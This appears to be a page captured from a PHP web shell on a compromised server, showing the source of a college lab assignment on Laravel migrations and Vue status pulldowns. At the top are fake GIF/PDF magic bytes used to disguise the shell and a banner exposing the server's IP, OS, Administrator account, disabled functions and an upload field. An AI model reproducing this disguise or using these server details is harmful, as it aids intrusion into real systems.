GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2146/Labs/Lab07.5/ |
Upload File : |
<? // MichaelMalz/CST2146/Labs/Lab03.phpinc $css .= ',colorCode.css'; #d_Var('$f_task',$f_task,'df'); #d_Var('$f_subtask',$f_subtask,'df'); // Process $f_subtask == 'Save path information' if ( $f_task == 'Submit' && $f_subtask == 'Save path information' ) { $EvaluationSubmission_PROCESS = false; require('getLabInfo.phpinc'); require('saveLabInfo.phpinc'); } require('getLabInfo.phpinc'); $checkFileUpload = false; #$showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; #$disabled = ' disabled'; $uploadFilename = $classNumber.'_'.$saveFilename.'.zip'; $UN = strtolower(substr($userFirstName,0,3).substr($userLastName,0,3)); $PW = $f_sId; $ShowSpanCountBefore = false; //$ShowSpanCountBefore = true; // <span class="count"> #d_Var("\$_SESSION",$_SESSION,'d+'); #d_Var("\$_SESSION['CST2146']",$_SESSION['CST2146'],'d+'); ?> <fieldset><legend>Description</legend> The purpose of this lab is to modify the products and warehouses pages. <br> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> <ol class="count"> <li>*** Use Inertia.js and Vue.js for this lab ***</li> <li>Create a directory called <b><?=$evaluationName?></b></li> <!-- 1 --> <li>Add a migration to the warehouses table <ol> <li>Change the status column type to unsignedBigInteger</li> <li>Rename the status column to statuses_id</li> <li>Add a foreign key referencing statuses_id to the statuses table id </ol> </li> <!-- 2 --> <li>Add a migration to the products table <ol> <li>Drop the back_ordered column</li> <li>Add a statuses_id column, with the type unsignedBigInteger, with a default of 6</li> <li>Add a foreign key referencing statuses_id to the statuses table id </ol> </li> <!-- 3 --> <li>Modify the warehouses page <ol> <li>Add a relationship in your warehouses model to the statuses model</li> <li>Modify your controller so the warehouses array includes the statuses model - only select id's 1 and 2</li> <li>Display the name from the statuses model on your warehouses/index.vue in the Status column</li> <li>Switch the status text input to a pulldown that is populated from the statuses table in your new-edit-warehouses.vue</li> <li>Modify the controller and request validator to save the new input where needed.</li> <li>The video shows everything on completing this</li> </ol> </li> <!-- 4 --> <li>Modify the products page <ol> <li>Add a relationship in your products model to the statuses model</li> <li>Modify your controller so the products array includes the statuses model - only select id's 6 and 7</li> <li>Rename the Back Ordered column to Status on your products/index.vue</li> <li>Display the name from the statuses model on your products/index.vue in the Status column</li> <li>Switch the status text input to a pulldown that is populated from the statuses table in your new-edit-products.vue</li> <li>Modify the controller and request validator to save the new input where needed.</li> <li>The video shows everything on completing this</li> </ol> </li> <!-- 5 --> <li>Commit all changes to your git-hub branch</li> <!-- 6 --> <li>Demonstrate that your warehouses index page loads with the data from the Statuses model. <ol> <li>Open the page in your Chrome browser</li> <li> Take a screenshot of the warehouses/index page and save it as <b class="copyText"><?=$classNumber?>_<?=$saveFilename?>_warehouses_index.png</b><br> Save the screenshot in your <b><?=$evaluationName?></b> directory. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_1.png" width="1000" height="650" alt="Screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <!-- 7 --> <li>Demonstrate that your warehouses new/edit page has the new statuses pulldown. <ol> <li>Open the page in your Chrome browser</li> <li> Take a screenshot of the warehouses/index page and save it as <b class="copyText"><?=$classNumber?>_<?=$saveFilename?>_warehouses_form.png</b><br> Save the screenshot in your <b><?=$evaluationName?></b> directory. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_2.png" width="1000" height="650" alt="Screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <!-- 8 --> <li>Demonstrate that your products index page loads with the data from the Statuses model. <ol> <li>Open the page in your Chrome browser</li> <li> Take a screenshot of the warehouses/index page and save it as <b class="copyText"><?=$classNumber?>_<?=$saveFilename?>_products_index.png</b><br> Save the screenshot in your <b><?=$evaluationName?></b> directory. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_3.png" width="1000" height="650" alt="Screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <!-- 9 --> <li>Demonstrate that your products new/edit page has the new statuses pulldown. <ol> <li>Open the page in your Chrome browser</li> <li> Take a screenshot of the warehouses/index page and save it as <b class="copyText"><?=$classNumber?>_<?=$saveFilename?>_products_form.png</b><br> Save the screenshot in your <b><?=$evaluationName?></b> directory. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot_4.png" width="1000" height="650" alt="Screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <li>Turn in your assignment: <ol type="a"> <li>Ensure the following: <ul> <li>You have commited chages to your branch</li> <li>You clicked Push Origin after committing the changes</li> <li>There are 0 changed files showing on the right</li> </ul> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol> </fieldset> <? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br> <? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>